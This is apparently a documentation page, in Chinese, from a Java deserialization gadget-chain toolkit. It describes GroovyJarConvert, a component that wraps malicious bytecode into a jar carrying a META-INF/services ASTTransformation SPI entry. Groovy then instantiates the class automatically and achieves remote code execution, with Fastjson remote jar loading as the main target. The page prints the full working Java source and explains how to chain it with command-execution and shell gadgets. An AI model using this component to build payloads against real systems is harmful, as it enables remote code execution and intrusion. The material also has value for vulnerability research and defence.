Skip to content

Latest commit

 

History

History
79 lines (67 loc) · 5.16 KB

File metadata and controls

79 lines (67 loc) · 5.16 KB

将字节码转为Groovy Jar包字节流(GroovyJarConvert)

  • 类别:common 别名:— 优先级:—
  • 作者:—
  • 依赖org.codehaus.groovy:groovy

作用

一个字节码封装器:把内层 gadget 产出的 .class 字节码打包成一个 Groovy Jar 字节流,并在 jar 内写入 META-INF/services/org.codehaus.groovy.transform.ASTTransformation SPI 文件指向该类。当 Groovy 加载此 jar 时,会通过 SPI 自动实例化并执行该 ASTTransformation 类,实现 RCE。典型用于 Fastjson 远程加载 Groovy Jar 的场景。

链接标签

  • 入口 tagsOther —— 归入通用「其它转换器」族。
  • 衔接 nextTagsBytecodeConvertTag —— 它需要一个产出字节码的内层 gadget(nextTags 指向字节码转换环,如 BytecodeConvert 及其上游的 Exec 等字节码 sink)。
  • excludes:(空)。

源码剖析

@GadgetTags(tags={"Other"}, nextTags={"BytecodeConvertTag"})
@GadgetAnnotation(name="将字节码转为Groovy Jar包字节流",
    description="适用于Fastjson远程加载Groovy Jar包 RCE场景\n会自动在jar包内创建 "
      + "META-INF/services/org.codehaus.groovy.transform.ASTTransformation 文件,"
      + "并将文件内容设置字节码类名",
    dependencies={"org.codehaus.groovy:groovy"})
public class GroovyJarConvert implements Gadget {
    public String className;

    public byte[] getObject(byte[] bytes) throws Exception {
        return GroovyJarConvert.createGroovyJarWithSPI(this.className, bytes);
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        context.put(ContextTag.Groovy_JAR_KEY, true);
        byte[] bytecode = (byte[])chain.doCreate(context);
        this.className = context.getString(ContextTag.CLASS_NAME_KEY);
        byte[] jarContent = this.getObject(bytecode);
        return jarContent;
    }

    public static byte[] createGroovyJarWithSPI(String className, byte[] byteCode) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (JarOutputStream jos = new JarOutputStream(baos);) {
            JarEntry entry = new JarEntry(className.replace(".", "/") + ".class");
            jos.putNextEntry(entry);
            jos.write(byteCode);
            jos.closeEntry();
            entry = new JarEntry("META-INF/services/org.codehaus.groovy.transform.ASTTransformation");
            jos.putNextEntry(entry);
            jos.write(className.getBytes());
            jos.closeEntry();
        }
        return baos.toByteArray();
    }
}

逐段说明:

  • invoke 首先 context.put(Groovy_JAR_KEY, true):向下游打标记,告知内层字节码 gadget「本次目标是 Groovy Jar SPI 场景」,内层据此需要生成一个实现 ASTTransformation 接口的恶意类。
  • chain.doCreate(context) 取内层对象——按链「由内向外」构建原则,内层是字节码转换环产物,即恶意类的 .class 字节数组(byte[] bytecode)。
  • context.getString(CLASS_NAME_KEY) 拿到该恶意类的全限定名 className,随后交给 createGroovyJarWithSPI 打包。
  • createGroovyJarWithSPI 是核心:用 JarOutputStream 在内存中构造 jar——
    1. 第一个 JarEntry<className 转斜杠>.class,写入字节码本体;
    2. 第二个 JarEntry 是 SPI 描述文件 META-INF/services/org.codehaus.groovy.transform.ASTTransformation,内容正是 className
  • Groovy 编译器在初始化全局 AST 变换时会通过 Java SPI 扫描该 services 文件、加载并实例化其中列出的类。因此只要目标用 Groovy 加载这个 jar(例如把 jar URL 加进 GroovyClassLoader/GroovyScriptEngine 类路径并触发编译),恶意 ASTTransformation 即被 SPI 自动执行。

触发条件:目标类路径含 groovy,且存在远程/本地加载 Groovy Jar 并触发编译的入口(典型是 Fastjson + 远程 jar)。

参数(@Param)

本类无 @ParamclassName 由链上下文 CLASS_NAME_KEY 注入(来自内层字节码 gadget 生成的类名),非用户直填。

适用版本与原理要点

  • 依赖 org.codehaus.groovy:groovy;利用的是 Groovy 全局 AST 变换的 SPI 自动装载机制(META-INF/services/...ASTTransformation)。
  • GroovyExec1Convert/GroovyExec2Convert 走「表达式文本」不同,本 gadget 走「打包 .class 到 jar + SPI 触发」,因此它是一个字节码封装环而非表达式末端,必须搭配下游字节码 gadget。
  • 输出是 byte[](jar 字节流),通常再交给远程加载/写文件等入口投递。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。常见手工组合:Fastjson 远程 Jar 入口GroovyJarConvert → 字节码转换环 → 字节码 sink(如 Exec)。

关联

  • 下游(nextTags=BytecodeConvertTag):BytecodeConvert 及其内层字节码 sink(如 Exec、各类 Echo/Shell gadget)。
  • 上游消费者:远程加载 Groovy Jar 的入口(Fastjson 等)。